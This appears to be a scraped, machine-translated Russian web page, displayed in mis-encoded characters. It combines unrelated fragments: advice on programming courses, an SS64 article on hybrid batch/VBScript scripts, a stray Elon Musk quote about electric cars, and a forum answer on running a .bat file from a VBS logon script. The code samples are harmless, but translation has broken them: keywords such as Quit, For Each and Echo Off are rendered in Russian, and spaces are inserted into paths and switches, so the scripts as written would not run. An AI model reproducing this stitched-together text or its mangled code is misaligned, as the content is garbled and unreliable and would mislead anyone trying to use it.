- ΠΠΎΡΠΌΠΎΡΡΠΈΡΠ΅ ΡΡΠΎ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ, ΡΡΠΎΠ±Ρ ΡΠ·Π½Π°ΡΡ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡΠΎΡΠΌΠΎΡΡΠ΅ΡΡ ΠΈΡΡ
ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ Π»ΡΠ±ΠΎΠ³ΠΎ Π²Π΅Π±-ΡΠ°ΠΉΡΠ°.
Π Π°ΡΡΠΈΡΡΡΠ΅ Π²Π°ΡΠΈ Π·Π½Π°Π½ΠΈΡ
ΠΠ°ΠΏΠΈΡΠΈΡΠ΅ΡΡ Π½Π° ΠΊΡΡΡΡ. Π£Π½ΠΈΠ²Π΅ΡΡΠΈΡΠ΅ΡΡ, ΠΊΠΎΠ»Π»Π΅Π΄ΠΆΠΈ ΠΈ ΠΈΠ½ΡΠ΅ΡΠ½Π΅Ρ-ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΠΏΡΠ΅Π΄Π»Π°Π³Π°ΡΡ ΡΠ΅ΡΡΠΈΡΠΈΠΊΠ°ΡΡ ΠΈ ΠΊΡΡΡΡ, ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π΅ ΡΠΎΠ»ΡΠΊΠΎ Π½Π°ΡΡΠ°Ρ Π²Π°Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ, Π½ΠΎ ΠΈ ΠΏΠΎΠΌΠΎΠ³ΡΡ Π²Π°ΠΌ Π½Π°ΠΉΡΠΈ ΡΠ°Π±ΠΎΡΡ. Π₯ΠΎΡΡ ΡΠ½ΠΈΠ²Π΅ΡΡΠΈΡΠ΅ΡΡΠΊΠΈΠΉ Π΄ΠΈΠΏΠ»ΠΎΠΌ ΠΏΠΎ ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎΡΡΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠ° Π½Π΅ Π²ΡΠ΅Π³Π΄Π° Π½ΡΠΆΠ΅Π½, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠΌΠΎΡΡ Π²Π°ΠΌ Π½Π°ΠΉΡΠΈ ΠΏΠΎΡΡΠΎΡΠ½Π½ΡΡ ΡΠ°Π±ΠΎΡΡ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠ°.
- ΠΠ΅ΠΎΡΠΏΠΎΡΠΈΠΌΠ° ΠΈ ΠΏΠΎΠ»ΡΠ·Π° ΠΎΡ ΠΏΡΡΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡΠ΅Π½ΠΈΡ Ρ ΡΡΠΈΡΠ΅Π»Π΅ΠΌ ΠΈΠ»ΠΈ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡΠΎΠΌ Π² ΠΎΠ±Π»Π°ΡΡΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΠΎΠ΅ Π½Π΅ Π²ΡΠ΅Π³Π΄Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎ ΡΠ΅ΡΠ΅Π· ΠΎΠ½Π»Π°ΠΉΠ½-ΠΊΡΡΡΡ.
- ΠΠ±ΡΡΠ΅Π½ΠΈΠ΅ Π½Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠ° ΠΌΠΎΠΆΠ΅Ρ ΠΎΠ±ΠΎΠΉΡΠΈΡΡ Π²Π°ΠΌ Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ Π΄ΠΎΡΠΎΠ³ΠΎ, ΠΏΠΎΡΡΠΎΠΌΡ Π²Π½ΠΈΠΌΠ°ΡΠ΅Π»ΡΠ½ΠΎ ΠΏΠΎΠ΄ΡΠΌΠ°ΠΉΡΠ΅, ΡΡΠΎΠΈΡ Π»ΠΈ ΠΎΠ½ΠΎ ΡΠΎΠ³ΠΎ. ΠΡΠ»ΠΈ Π²Ρ ΡΠ²Π»Π΅ΠΊΠ°Π΅ΡΠ΅ΡΡ Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΠ΅ΠΌ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ ΡΠΎΠ»ΡΠΊΠΎ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ Ρ ΠΎΠ±Π±ΠΈ, ΡΠΎ Π²Π°ΠΌ Π½Π΅ ΡΡΠΎΠΈΡ ΡΡΠ°ΡΠΈΡΡ Π²ΡΠ΅ΠΌΡ ΠΈ Π΄Π΅Π½ΡΠ³ΠΈ Π½Π° ΠΏΡΠΎΡΠ΅ΡΡΠΈΠΎΠ½Π°Π»ΡΠ½ΡΠ΅ ΠΊΡΡΡΡ. ΠΡΠ»ΠΈ ΠΆΠ΅ Π²Ρ Ρ ΠΎΡΠΈΡΠ΅ ΠΏΠΎΡΡΡΠΎΠΈΡ ΠΊΠ°ΡΡΠ΅ΡΡ Π² ΡΡΠΎΠΉ ΠΎΠ±Π»Π°ΡΡΠΈ, ΡΠΎ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΎΡΠ΅ΡΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ ΠΌΠΎΠΆΠ΅Ρ Π·Π½Π°ΡΠΈΡΠ΅Π»ΡΠ½ΠΎ Π²Π°ΠΌ Π² ΡΡΠΎΠΌ ΠΏΠΎΠΌΠΎΡΡ (Π½ΠΎ, ΠΎΠΏΡΡΡ ΠΆΠ΅, ΠΎΠ½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ, Π΅ΡΠ»ΠΈ Ρ Π²Π°Ρ Π΅ΡΡΡ ΡΠ°Π»Π°Π½Ρ).
Π Π°ΡΡΠΈΡΡΡΠ΅ Π²Π°ΡΠΈ Π·Π½Π°Π½ΠΈΡ.
ΠΡ ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ ΠΏΠΎΠ»ΡΠ·Ρ Π½Π΅ ΡΠΎΠ»ΡΠΊΠΎ ΠΎΡ ΠΈΠ·ΡΡΠ΅Π½ΠΈΡ ΡΠ·ΡΠΊΠΎΠ² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ, Π½ΠΎ ΠΈ ΠΎΡ ΠΊΡΡΡΠΎΠ² ΠΏΠΎ ΠΌΠ°ΡΠ΅ΠΌΠ°ΡΠΈΠΊΠ΅ ΠΈ Π»ΠΎΠ³ΠΈΠΊΠ΅, ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΡΡΠΈ ΠΏΡΠ΅Π΄ΠΌΠ΅ΡΡ ΡΠ°ΡΡΠΎ ΡΡΠ΅Π±ΡΡΡ Π²Π»Π°Π΄Π΅Π½ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π½Π° Π²ΡΡΠΎΠΊΠΎΠΌ ΡΡΠΎΠ²Π½Π΅. ΠΠ°ΠΌ Π½Π΅ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ ΡΡΠΈΡΡ ΡΡΠΎ Π² ΡΠΊΠΎΠ»Π΅ ΠΈΠ»ΠΈ ΠΈΠ½ΡΡΠΈΡΡΡΠ΅, Ρ ΠΎΡΡ ΠΏΠΎΠ΄ΠΎΠ±Π½Π°Ρ ΡΡΠ΅Π΄Π° ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΠΏΠΎΠ»Π΅Π·Π½Π°.
Hybrid Batch ΠΈ VBscript — VBScript
Hybrid Batch ΠΈ VBscript — VBScript — SS64.comΠΡΠ»ΠΈ Π²Π°ΠΌ Π½ΡΠΆΠ½ΠΎ Π·Π°ΠΏΡΡΡΠΈΡΡ ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠΉ ΡΠ°ΠΉΠ», ΠΈ VBScript, ΡΠ°ΠΌΡΠΉ ΠΏΡΠΎΡΡΠΎΠΉ ΡΠΏΠΎΡΠΎΠ± — ΠΈΠΌΠ΅ΡΡ Π΄Π²Π° ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΡ ΡΠ°ΠΉΠ»Π° ΠΈ Π·Π°ΠΏΡΡΠΊΠ°ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΄ΡΡΠ³ΠΎΠ³ΠΎ, Π½ΠΎ Π΄Π»Ρ ΡΡΠΎΠ³ΠΎ ΡΡΠ΅Π±ΡΠ΅ΡΡΡ, ΡΡΠΎΠ±Ρ ΠΎΠ±Π° ΡΡΠ΅Π½Π°ΡΠΈΡ Π½Π°Ρ ΠΎΠ΄ΠΈΠ»ΠΈΡΡ Π² ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ (ΠΈΠ»ΠΈ Π² ΠΊΠ°ΠΊΠΎΠΌ-ΡΠΎ ΠΈΠ·Π²Π΅ΡΡΠ½ΠΎΠΌ ΠΌΠ΅ΡΡΠ΅. )
ΠΠΈΠ±ΡΠΈΠ΄Π½ΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ — ΡΡΠΎ ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ, ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠΈΠΉ ΠΊΠ°ΠΊ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ, ΡΠ°ΠΊ ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ VBscript. ΠΠ±ΡΡΠ½ΠΎ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ Π΄Π»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° vbscript.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΡΠΎΠ±Ρ ΡΠ³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°ΡΡ ΠΎΠ΄Π½ΠΎΡΡΡΠΎΡΠ½ΡΠΉ VBScript, ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠΈΠΉ wscript.echo Β«Hello worldΒ», Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ
Echo wscript.echo Β«Hello worldΒ» >% temp% \ ~ hi. vbs
cscript // Π½Π΅Ρ% temp% \ ~ hi.vbs
ΠΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ% temp% Π±ΡΠ΄Π΅Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½Π° Π΄ΠΎ ΠΏΠ°ΠΏΠΊΠΈ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ² ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ.
ΠΠ°ΠΏΠΈΡΠ°Π½ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½ΡΡ
Π³ΠΈΠ±ΡΠΈΠ΄Π½ΡΡ
ΡΡΠ΅Π½Π°ΡΠΈΠ΅Π² ΠΌΠΎΠΆΠ΅Ρ Π²ΠΊΠ»ΡΡΠ°ΡΡ Π² ΡΠ΅Π±Ρ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ ΡΡ
Π° ΠΈ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ, ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ, ΠΏΠΎΡΡΠΎΠΌΡ Π΅ΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠ², ΠΊΠΎΡΠΎΡΡΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ, ΡΡΠΎΠ±Ρ ΡΠ΄Π΅Π»Π°ΡΡ ΡΡΠΎ ΠΌΠ΅Π½Π΅Π΅ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΡΠΌ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ Π΄Π»Ρ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ ΠΏΠΎΠ²ΡΠΎΡΡΡΡΠΈΡ
ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ / ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ² ΠΈΠ»ΠΈ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ comment (‘VBS) Π² ΠΊΠΎΠ½ΡΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ VBScript, Π° Π·Π°ΡΠ΅ΠΌ Ρ ΠΏΠΎΠΌΠΎΡΡΡ Findstr ΠΈΠ·Π²Π»Π΅ΡΡ VBScript.
ΠΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅% ~ f0 ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅ΡΡΡ Π² ΠΏΠΎΠ»Π½ΡΠΉ ΠΏΡΡΡ ΠΊ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠΌΡ ΡΠ°ΠΉΠ»Ρ, ΠΏΠΎΡΡΠΎΠΌΡ ΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΡΡΠ΅Π½Π°ΡΠΈΡ ΠΈΡΠΊΠ°ΡΡ ΡΠ°ΠΌ ΡΠ΅Π±Ρ:
@ ΠΡ ΠΎ Π²ΡΠΊΠ»ΡΡΠ΅Π½ΠΎ Setlocal Echo ΠΡΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠΉ ΡΠ°ΠΉΠ» FINDSTR / E " 'VBS " "% ~ f0>% temp% \ ~ temp.vbs cscript // Π½Π΅Ρ% temp% \ ~ temp.vbs Del% temp% \ ~ temp.vbs Echo All Done. ΠΠ«Π₯ΠΠ Sub Demo 'VBS wscript.echo Β«ΠΠΎΠ±ΡΠΎ ΠΏΠΎΠΆΠ°Π»ΠΎΠ²Π°ΡΡ Π² VBScriptΒ» 'VBS ΠΠΎΠ½ΡΠ΅Π²ΠΎΠΉ ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄Π½ΠΈΠΊ 'VBS Π΄Π΅ΠΌΠΎ 'VBS wscript.Π²ΡΠΉΡΠΈ 0 'VBS
Β«ΠΠ° ΡΠ°ΠΌΠΎΠΌ Π΄Π΅Π»Π΅ Ρ ΠΏΡΠ΅Π΄ΡΠΊΠ°Π·Π°Π», ΡΡΠΎ ΡΠ΅ΡΠ΅Π· 30 Π»Π΅Ρ Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²ΠΎ Π½ΠΎΠ²ΡΡ Π°Π²ΡΠΎΠΌΠΎΠ±ΠΈΠ»Π΅ΠΉ, ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΠΌΡΡ Π² Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Π½ΡΡ Π¨ΡΠ°ΡΠ°Ρ , Π±ΡΠ΄ΡΡ ΡΠ»Π΅ΠΊΡΡΠΈΡΠ΅ΡΠΊΠΈΠΌΠΈ. Π Ρ Π½Π΅ ΠΈΠΌΠ΅Ρ Π² Π²ΠΈΠ΄Ρ Π³ΠΈΠ±ΡΠΈΠ΄, Ρ ΠΈΠΌΠ΅Ρ Π² Π²ΠΈΠ΄Ρ ΠΏΠΎΠ»Π½ΠΎΡΡΡΡ ΡΠ»Π΅ΠΊΡΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Β»~ ΠΠ»ΠΎΠ½ ΠΠ°ΡΠΊ
.Π‘Π²ΡΠ·Π°Π½Π½ΡΠ΅
ΠΠΈΠ±ΡΠΈΠ΄Π½ΡΠ΅ ΡΡΠ΅Π½Π°ΡΠΈΠΈ Π±Π΅Π· Π²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° — StackOverflow
ΠΠ°ΠΏΡΡΠΊ ΡΡΠ΅Π½Π°ΡΠΈΡ ΠΈΠ· VBScript
ΠΠ°ΠΏΡΡΠΊ ΡΡΠ΅Π½Π°ΡΠΈΡ ΠΈΠ· PowerShell
ΠΠ°ΠΏΡΡΠΊ ΡΡΠ΅Π½Π°ΡΠΈΡ ΠΈΠ· ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠΈ CMD
ΠΠ²ΡΠΎΡΡΠΊΠΈΠ΅ ΠΏΡΠ°Π²Π° Β© 1999-2021 SS64.com
ΠΠ΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΏΡΠ°Π²Π° Π·Π°ΡΠΈΡΠ΅Π½Ρ.
[ΡΠ΅ΡΠ΅Π½ΠΎ] ΠΠ°ΠΊ Π²ΡΠ·Π²Π°ΡΡ ΡΠ°ΠΉΠ» .bat Π² ΡΡΠ΅Π½Π°ΡΠΈΠΈ Π²Ρ ΠΎΠ΄Π° Π² ΡΠΈΡΡΠ΅ΠΌΡ .VBS? — ΠΠ’-ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅
Π Π²Π°ΡΠ΅ΠΌ ΡΡΠ΅Π½Π°ΡΠΈΠΈ Π΅ΡΡΡ ΡΡΠ΄ ΠΏΡΠΎΠ±Π»Π΅ΠΌ. ΠΠ΅ΡΠ²ΡΠΉ Π½Π°ΡΠΈΠ½Π°Π΅ΡΡΡ Ρ Β«ΠΡΠΈ ΠΎΡΠΈΠ±ΠΊΠ΅ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²ΠΈΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉΒ». ΠΡΠΎ Π² ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΌ ΡΠΊΡΡΠ²Π°Π΅Ρ Π»ΡΠ±ΡΠ΅ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΎΠ± ΠΎΡΠΈΠ±ΠΊΠ°Ρ ΠΈ ΠΏΡΡΠ°Π΅ΡΡΡ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΡΠ΅Π½Π°ΡΠΈΡ. ΠΡΠΎΠ±Π΅Π½Π½ΠΎ ΠΏΡΠΈ ΠΏΠ΅ΡΠ²ΠΎΠΌ ΡΠΎΠ·Π΄Π°Π½ΠΈΠΈ ΡΠΊΡΠΈΠΏΡΠ° Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ Π²ΠΈΠ΄Π΅ΡΡ ΡΡΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΎΠ± ΠΎΡΠΈΠ±ΠΊΠ°Ρ , ΡΡΠΎΠ±Ρ Π²Ρ ΠΌΠΎΠ³Π»ΠΈ ΠΈΡ ΠΈΡΠΏΡΠ°Π²ΠΈΡΡ.
ΠΡ ΡΠ°ΠΊΠΆΠ΅ ΡΠ΅ΡΡΠΈΡΡΠ΅ΡΠ΅ ΡΡΠΎΠ²Π΅Π½Ρ ΠΎΡΠΈΠ±ΠΎΠΊ, ΠΊΠΎΡΠΎΡΠΎΠ³ΠΎ Π½Π΅Ρ Π² VBScript. ΠΠΌΠ΅ΡΡΠΎ ΡΡΠΎΠ³ΠΎ Π²Ρ Ρ
ΠΎΡΠΈΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ ΠΎΠ±ΡΠ΅ΠΊΡ Err ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ:
Π΅ΡΠ»ΠΈ Err.Number <> 0, ΡΠΎ WScript.Echo "error" & Err.Number & ":" & Err.Description Err.Clear 'Π·Π°ΡΠ΅ΠΌ WScript.Quit ΠΏΠΎ ΠΌΠ΅ΡΠ΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎΡΡΠΈ ΠΊΠΎΠ½Π΅Ρ, Π΅ΡΠ»ΠΈ
ΠΠ°ΡΠ΅ΠΌ Π²Ρ Π΄Π²Π°ΠΆΠ΄Ρ ΡΠΎΠ·Π΄Π°Π΅ΡΠ΅ objNetwork ΠΈ colDrives, Π° Π·Π°ΡΠ΅ΠΌ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΡΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°ΡΡ WshNetwork ΠΊΠ°ΠΆΠ΄ΡΠΉ ΡΠ°Π· ΡΠ΅ΡΠ΅Π· ΡΠΈΠΊΠ» ΡΠ΅ΡΠ΅Π²ΠΎΠΉ ΠΊΠ°ΡΡΡ. ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΡΡΠΎ ΡΠΎΠ·Π΄Π°ΡΡ ΠΎΠ΄ΠΈΠ½ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ objNetwork ΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΅Π³ΠΎ ΠΏΠΎΠ²ΡΡΠ΄Ρ.
Π§ΡΠΎ ΠΊΠ°ΡΠ°Π΅ΡΡΡ Π·Π°ΠΏΡΡΠΊΠ° Π²Π°ΡΠ΅Π³ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°, ΠΏΠ΅ΡΠ²Π°Ρ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ°, ΠΊΠΎΡΠΎΡΡΡ Ρ Π²ΠΈΠΆΡ, Π·Π°ΠΊΠ»ΡΡΠ°Π΅ΡΡΡ Π² ΡΠΎΠΌ, ΡΡΠΎ Π²Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΠ΅ ΠΎΠ±ΡΠ΅ΠΊΡ WSHShell, Π½ΠΎ Π½ΠΈΠ³Π΄Π΅ Π΅Π³ΠΎ Π½Π΅ ΡΠΎΠ·Π΄Π°Π΅ΡΠ΅.Β«ΠΡΠΈ ΠΎΡΠΈΠ±ΠΊΠ΅ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²ΠΈΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉΒ» ΠΏΠΎΠ΄Π°Π²Π»ΡΠ» ΠΎΡΠΈΠ±ΠΊΡ, ΠΊΠΎΡΠΎΡΡΡ Π²Ρ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ ΡΠ²ΠΈΠ΄Π΅ΡΡ ΠΏΠΎ ΡΡΠΎΠΌΡ ΠΏΠΎΠ²ΠΎΠ΄Ρ. ΠΠΎΠ±Π°Π²ΡΡΠ΅ ΡΡΡ ΡΡΡΠΎΠΊΡ ΠΏΠΎΡΠ»Π΅ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ colDrives:
ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ WSHShell = CreateObject ("WScript.Shell")
ΠΡΠ°Π²ΠΈΠ»ΡΠ½ΡΠΉ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡ Π΄Π»Ρ Π·Π°ΠΏΡΡΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°:
WSHShell.Run "c: \ prt.bat", 1, True
Π³Π΄Π΅ 1 ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ ΠΏΠΎΠΊΠ°Π·Π°ΡΡ Π·Π°ΠΏΡΡΠ΅Π½Π½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, Π° True ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ Π΄ΠΎΠΆΠ΄Π°ΡΡΡΡ Π΅Π΅ Π·Π°Π²Π΅ΡΡΠ΅Π½ΠΈΡ. ΠΠ°ΠΌ Π½Π΅ Π½ΡΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ CMD.EXE Π΄Π»Ρ Π΅Π³ΠΎ Π·Π°ΠΏΡΡΠΊΠ° ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ ΠΊΠ°Π²ΡΡΠΊΠΈ.
ΠΠΎΠΏΡΠΎΠ±ΡΠΉΡΠ΅ ΡΡΠΎΡ ΠΏΡΠΎΡΡΠΎΠΉ ΠΏΡΠΈΠΌΠ΅Ρ.Π‘Π½Π°ΡΠ°Π»Π° ΡΠΎΠ·Π΄Π°ΠΉΡΠ΅ test.bat:
ΠΠΠ¨
@ ΡΡ ΠΎ Π²ΡΠΊΠ». echo "ΡΡΠΎ test.bat!" ΠΠ°ΡΠ·Π°
ΠΠ°ΡΠ΅ΠΌ Π² ΡΡΠΎΠΉ ΠΆΠ΅ ΠΏΠ°ΠΏΠΊΠ΅ ΡΠΎΠ·Π΄Π°ΠΉΡΠ΅ runtest.vbs:
ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ WSHShell = CreateObject ("WScript.Shell") WSHShell.Run "test.bat", 1, True
ΠΡΡΠ³ΠΎΠ΅ Π΄Π΅Π»ΠΎ, Π²Ρ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΡΠ΅ ΠΎΡΠ½ΠΎΠ²Π½ΡΡ ΡΠ°ΡΡΡ ΡΠΊΡΠΈΠΏΡΠ° Π²Π½ΡΡΡΠΈ ΡΠΈΠΊΠ»Π° for ΡΠ΅ΡΠ΅Π²ΠΎΠΉ ΠΊΠ°ΡΡΡ 1, Π½ΠΎ Π·Π°ΡΠ΅ΠΌ Π·Π°Π²Π΅ΡΡΠ°Π΅ΡΠ΅ ΡΠΊΡΠΈΠΏΡ Π΄ΠΎ Π·Π°Π²Π΅ΡΡΠ΅Π½ΠΈΡ ΡΠΈΠΊΠ»Π°. ΠΠΌΠ΅ΡΡΠΎ ΡΡΠΎΠ³ΠΎ Π²Ρ ΠΏΡΠΎΡΡΠΎ Ρ ΠΎΡΠΈΡΠ΅ Π²Π·ΡΡΡ ΠΏΠ΅ΡΠ²ΡΠΉ Π²ΠΊΠ»ΡΡΠ΅Π½Π½ΡΠΉ ΡΠ»Π΅ΠΌΠ΅Π½Ρ ΠΊΠΎΠ»Π»Π΅ΠΊΡΠΈΠΈ NIC1, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ IP-Π°Π΄ΡΠ΅Ρ, Π° Π·Π°ΡΠ΅ΠΌ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΡΠ΅Π½Π°ΡΠΈΡ.ΠΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ ΡΠ°ΠΊΡΡ ββΠΏΠ΅ΡΠ»Ρ:
Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Nic Π² NIC1 Π΅ΡΠ»ΠΈ Nic.IPEnabled, ΡΠΎ StrIP = Nic.IPAddress (i) arrIPAddress = Π Π°Π·Π΄Π΅Π»ΠΈΡΡ (StrIP, ".") ΡΠΊΠΎΠ»Π° = arrIPAddress (1) Π²ΡΡ ΠΎΠ΄ Π΄Π»Ρ ΠΊΠΎΠ½Π΅Ρ, Π΅ΡΠ»ΠΈ 'NIC Π²ΠΊΠ»ΡΡΠ΅Π½ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ 'NIC
